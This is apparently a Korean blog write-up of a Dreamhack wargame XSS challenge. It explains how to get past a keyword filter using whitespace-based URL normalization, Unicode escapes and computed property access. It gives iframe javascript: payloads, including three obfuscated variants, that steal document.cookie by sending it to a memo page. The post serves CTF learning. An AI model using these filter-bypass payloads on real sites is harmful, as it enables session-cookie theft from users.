XSS Filtering Bypass Advanced
2024. 5. 25. 00:36ㆍ웹 해킹/Dreamhack Wargame
XSS 취약점을 활용해 FLAG를 획득하는 문제
Code
이번에는 filter되는 텍스트가 다음과 같다. “script”, “on”, “javascript”, “window”, “self”, “this”, “document”
, “location”, “(”, “)”, “&#”
XSS 실행을 위해 필요한 텍스트들이 거의 다 필터링 되어있어 XSS를 하기 위해 텍스트를 변형해야 한다.
<script>태그나 on속성은 텍스트 변형 시 스크립트가 정상적으로 작동하지 않는다.
따라서 변형되도 스크립트가 작동하는 <iframe>이나 <svg>와 같은 태그를 사용해야 한다.
스크립트를 변형하는 방법은 여러가지가 있다.
- URL normalization
- URL을 통일된 형태로 변형하는 과정, 해당 과정에서 \t, \x01, \x04가 삭제된다
- Ex) loca tion.href ⇒ location.href
- Unicode Escape Sequence
- 유니코드 문자를 코드로 나타낼 수 있는 표기법
- Ex) locatio\u006e ⇒ location
- Computed Member Access
- 객체의 속성에 접근할 때 속성 이름을 계산해주는 기능Ex) parent[”docu”+”ment”][”coo”+”kie”] ⇒ parent.document.cookie
- window.parent.document.cookie
- Ex) document[”coo”+”kie”] ⇒ document.cookie
- 객체의 속성에 접근할 때 속성 이름을 계산해주는 기능Ex) parent[”docu”+”ment”][”coo”+”kie”] ⇒ parent.document.cookie
XSS를 발생시키는 태그 구문은
<iframe src=”javascript:location.href=’/memo?memo=’+document.cookie”>
위의 방법으로 스크립트를 변형한다면
- <iframe src="javas cript:locatio n.href='/memo?memo='+docu ment.cookie">
- <iframe src="javas cript:locatio\u006e.href='/memo?memo='+\u0064ocument.cookie">
- <iframe src="javas cript:parent['doc'+'ument']['locatio'+'n'].href='/memo?memo='+parent['doc'+'ument'].cookie">
세가지 방법이 존재한다.
FLAG
'웹 해킹 > Dreamhack Wargame' 카테고리의 다른 글
sql injection bypass WAF (0) | 2024.05.26 |
---|---|
simple_sqli_chatgpt (0) | 2024.05.26 |
XSS Filtering Bypass (0) | 2024.05.25 |
XSS-2 (0) | 2024.05.25 |
XSS-1 (0) | 2024.05.25 |